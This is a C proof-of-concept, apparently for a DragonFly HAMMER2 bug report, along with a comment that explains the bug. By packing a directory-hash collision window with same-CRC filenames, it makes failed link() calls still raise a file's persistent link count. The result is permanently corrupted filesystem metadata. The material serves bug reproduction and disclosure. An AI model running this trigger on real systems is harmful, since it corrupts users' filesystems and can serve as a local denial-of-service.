DF-2628 / df2628.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 | /* * DF-2628 PoC: hammer2_vop_nlink() increments ip->meta.nlinks even when * hammer2_dirent_create() fails, permanently desynchronizing the * persistent link count from the number of real directory entries. * * Deterministic trigger (no ENOSPC race needed): * hammer2_dirhash() maps delimiter-free names to * key = 0x8.. | (c<<32) | ((c^(c<<16))&0xFFFF0000) | 0x8000, * c = CRC32C(name). 32768 names sharing one c fill the whole 64K * collision window (slots X8000..XFFFF); hammer2_dirent_create() then * returns ENOSPC for any further same-c name (hammer2_inode.c:1324) * while hammer2_vop_nlink() still does ++nlinks (hammer2_vnops.c:1602). * * Phases: * fill <dir> <namesfile> <count> create count files (packs the window) * trigger <basefile> <target> <times> stat nlink, loop link(), stat nlink * ctrl <basefile> <newname> successful link() control (other window) * probe <file> print st_nlink */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> static long nlink_of(const char *p) { struct stat st; if (stat(p, &st) < 0) { fprintf(stderr, "stat %s: %s\n", p, strerror(errno)); return -1; } return (long)st.st_nlink; } static int do_fill(const char *dir, const char *namesfile, int count) { char line[64], path[4096]; FILE *f = fopen(namesfile, "r"); int made = 0, n = 0; time_t t0 = time(NULL); if (!f) { perror(namesfile); return 1; } if (chdir(dir) < 0) { perror(dir); return 1; } while (made < count && fgets(line, sizeof(line), f)) { size_t len = strlen(line); int fd; while (len && (line[len-1] == '\n' || line[len-1] == '\r')) line[--len] = 0; if (len == 0) continue; ++n; fd = open(line, O_CREAT | O_EXCL | O_WRONLY, 0644); if (fd < 0) { if (errno == EEXIST) continue; fprintf(stderr, "fill: open(%s): %s\n", line, strerror(errno)); break; } close(fd); ++made; if ((made % 8192) == 0) fprintf(stderr, " %d files (%lds)\n", made, (long)(time(NULL) - t0)); } fclose(f); printf("FILL done: %d created of %d names, %lds\n", made, n, (long)(time(NULL) - t0)); return (made == count) ? 0 : 2; } static int do_trigger(const char *base, const char *target, int times) { long before, after; int i, fails = 0, first_errno = 0; char tname[4096]; before = nlink_of(base); printf("BASE %s nlink_before=%ld\n", base, before); for (i = 0; i < times; ++i) { errno = 0; /* distinct name per attempt: a successful link consumes * its name, a failed one must NOT create anything */ snprintf(tname, sizeof(tname), "%s.%03d", target, i); if (link(base, tname) < 0) { if (!first_errno) first_errno = errno; ++fails; } } after = nlink_of(base); printf("TRIGGER: %d link() attempts, %d failed (errno=%d/%s)\n", times, fails, first_errno, strerror(first_errno ? first_errno : 0)); printf("BASE %s nlink_after=%ld delta=%ld\n", base, after, after - before); /* how many of the target names actually exist? */ { int exist = 0; for (i = 0; i < times; ++i) { snprintf(tname, sizeof(tname), "%s.%03d", target, i); if (access(tname, F_OK) == 0) ++exist; } printf("TARGET names created: %d of %d\n", exist, times); } if (fails > 0 && after - before > 0) { printf("RESULT: BUG REPRODUCED - %d failed link() calls but " "nlink rose %ld->%ld\n", fails, before, after); return 0; } if (fails == times && after == before) { printf("RESULT: all link() failed, nlink UNCHANGED (fixed " "kernel?)\n"); return 1; } if (fails == 0 && after - before == times) { printf("RESULT: all link() succeeded normally (no failure " "engaged - scenario not set up)\n"); return 4; } printf("RESULT: mixed/unexpected (fails=%d delta=%ld)\n", fails, after - before); return 3; } static int do_ctrl(const char *base, const char *newname) { long before = nlink_of(base); int r = link(base, newname); printf("CTRL link(%s, %s) = %d errno=%d/%s nlink %ld -> %ld\n", base, newname, r, errno, strerror(errno), before, nlink_of(base)); return (r == 0) ? 0 : 1; } int main(int argc, char **argv) { if (argc < 2) goto usage; if (!strcmp(argv[1], "fill") && argc == 5) return do_fill(argv[2], argv[3], atoi(argv[4])); if (!strcmp(argv[1], "trigger") && argc == 5) return do_trigger(argv[2], argv[3], atoi(argv[4])); if (!strcmp(argv[1], "ctrl") && argc == 4) return do_ctrl(argv[2], argv[3]); if (!strcmp(argv[1], "probe") && argc == 3) { printf("%s nlink=%ld\n", argv[2], nlink_of(argv[2])); return 0; } usage: fprintf(stderr, "usage: %s fill <dir> <namesfile> <count>\n" " %s trigger <base> <target> <times>\n" " %s ctrl <base> <newname>\n" " %s probe <file>\n", argv[0], argv[0], argv[0], argv[0]); return 64; } |